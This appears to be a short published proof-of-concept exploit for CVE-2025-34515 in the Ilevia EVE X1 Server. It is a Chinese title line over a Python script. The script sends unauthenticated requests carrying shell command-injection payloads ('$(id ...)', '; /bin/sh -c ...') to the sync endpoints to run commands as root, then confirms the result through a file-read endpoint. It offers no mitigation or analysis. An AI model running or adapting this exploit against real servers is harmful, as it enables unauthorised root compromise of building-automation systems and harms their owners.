CVE-2025-34515：Ilevia EVE X1 Server权限提升漏洞

# CVE-2025-34515 PoC - Ilevia EVE X1 Server Privilege Escalation via sync_project.sh # Exploits unnecessary privileges in sync_project.sh to escalate to root import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" TARGET_PORT = 8080 TARGET_URL = f"http://{TARGET_HOST}:{TARGET_PORT}" def exploit_privilege_escalation(): """ Exploit the unnecessary privileges in sync_project.sh to achieve root RCE. The sync_project.sh script runs as root, allowing command injection through crafted project sync requests. """ print(f"[*] Targeting Ilevia EVE X1 Server at {TARGET_URL}") # Step 1: Trigger sync_project.sh with malicious payload via project sync endpoint # The sync endpoint accepts project data which is processed by sync_project.sh as root payload = { "project_name": "exploit_project", "sync_data": "$(id > /tmp/pwned.txt)", # Command injection in sync data "action": "sync" } try: # Step 2: Send unauthenticated request to the sync endpoint (no auth required) resp = requests.post( f"{TARGET_URL}/api/project/sync", json=payload, timeout=10 ) print(f"[*] Sync request response: {resp.status_code}") # Step 3: Verify root command execution verify = requests.get(f"{TARGET_URL}/api/system/file?path=/tmp/pwned.txt", timeout=10) if "uid=0" in verify.text: print("[+] SUCCESS: Root privilege escalation confirmed!") print(f"[+] Output: {verify.text.strip()}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative: Direct shell command injection via sync_project.sh parameters cmd_injection = { "project_id": "; /bin/sh -c 'id > /www/tmp/root_proof.txt' #", "action": "sync" } try: resp = requests.post( f"{TARGET_URL}/cgi-bin/sync_project.sh", data=cmd_injection, timeout=10 ) print(f"[*] Alternative exploit response: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Alternative request failed: {e}") return False if __name__ == "__main__": exploit_privilege_escalation()